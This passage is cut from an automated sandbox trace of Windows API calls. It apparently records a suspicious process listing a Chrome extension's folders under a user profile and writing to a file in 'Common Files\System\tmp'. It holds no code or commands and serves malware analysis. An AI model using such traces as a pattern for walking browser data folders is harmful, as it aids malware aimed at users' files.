ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0143.850] AreFileApisANSI () returned 1 [0143.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0143.850] GetFileType (hFile=0x190) returned 0x1 [0143.850] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0143.851] AreFileApisANSI () returned 1 [0143.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.851] GetFileType (hFile=0x194) returned 0x1 [0143.851] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0143.946] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0143.947] GetLastError () returned 0x12 [0143.947] AreFileApisANSI () returned 1 [0143.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.947] GetFileType (hFile=0x194) returned 0x1 [0143.947] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x54000, nFileSizeHigh=0x0, nFileSizeLow=0x5390f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0143.947] AreFileApisANSI () returned 1 [0143.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.947] GetFileType (hFile=0x194) returned 0x1 [0143.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0144.040] AreFileApisANSI () returned 1 [0144.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.040] GetFileType (hFile=0x128) returned 0x1 [0144.040] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.040] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.041] GetLastError () returned 0x12 [0144.041] AreFileApisANSI () returned 1 [0144.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.041] GetFileType (hFile=0x128) returned 0x1 [0144.041] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.087] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.087] GetLastError () returned 0x12 [0144.087] AreFileApisANSI () returned 1 [0144.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.087] GetFileType (hFile=0x128) returned 0x1 [0144.087] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.088] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.088] GetLastError () returned 0x12 [0144.088] AreFileApisANSI () returned 1 [0144.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.088] GetFileType (hFile=0x128) returned 0x1 [0144.088] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.134] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.134] GetLastError () returned 0x12 [0144.134] AreFileApisANSI () returned 1 [0144.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.134] GetFileType (hFile=0x128) returned 0x1 [0144.134] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.135] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.135] GetLastError () returned 0x12 [0144.135] AreFileApisANSI () returned 1 [0144.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.135] GetFileType (hFile=0x128) returned 0x1 [0144.135] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.180] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.180] GetLastError () returned 0x12 [0144.181] AreFileApisANSI () returned 1 [0144.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.181] GetFileType (hFile=0x128) returned 0x1 [0144.181] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.181] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.182] GetLastError () returned 0x12 [0144.182] AreFileApisANSI () returned 1 [0144.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.182] GetFileType (hFile=0x128) returned 0x1 [0144.182] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.227] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.227] GetLastError () returned 0x12 [0144.227] AreFileApisANSI () returned 1 [0144.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.227] GetFileType (hFile=0x128) returned 0x1 [0144.228] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.228] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.228] GetLastError () returned 0x12 [0144.228] AreFileApisANSI () returned 1 [0144.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.228] GetFileType (hFile=0x128) returned 0x1 [0144.228] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.274] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.274] GetLastError () returned 0x12 [0144.274] AreFileApisANSI () returned 1 [0144.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.274] GetFileType (hFile=0x128) returned 0x1 [0144.274] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.275] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.275] GetLastError () returned 0x12 [0144.275] AreFileApisANSI () returned 1 [0144.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.275] GetFileType (hFile=0x128) returned 0x1 [0144.275] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.320] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.321] GetLastError () returned 0x12 [0144.321] AreFileApisANSI () returned 1 [0144.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.321] GetFileType (hFile=0x128) returned 0x1 [0144.321] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.321] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.321] GetLastError () returned 0x12 [0144.321] AreFileApisANSI () returned 1 [0144.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.321] GetFileType (hFile=0x128) returned 0x1 [0144.322] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, 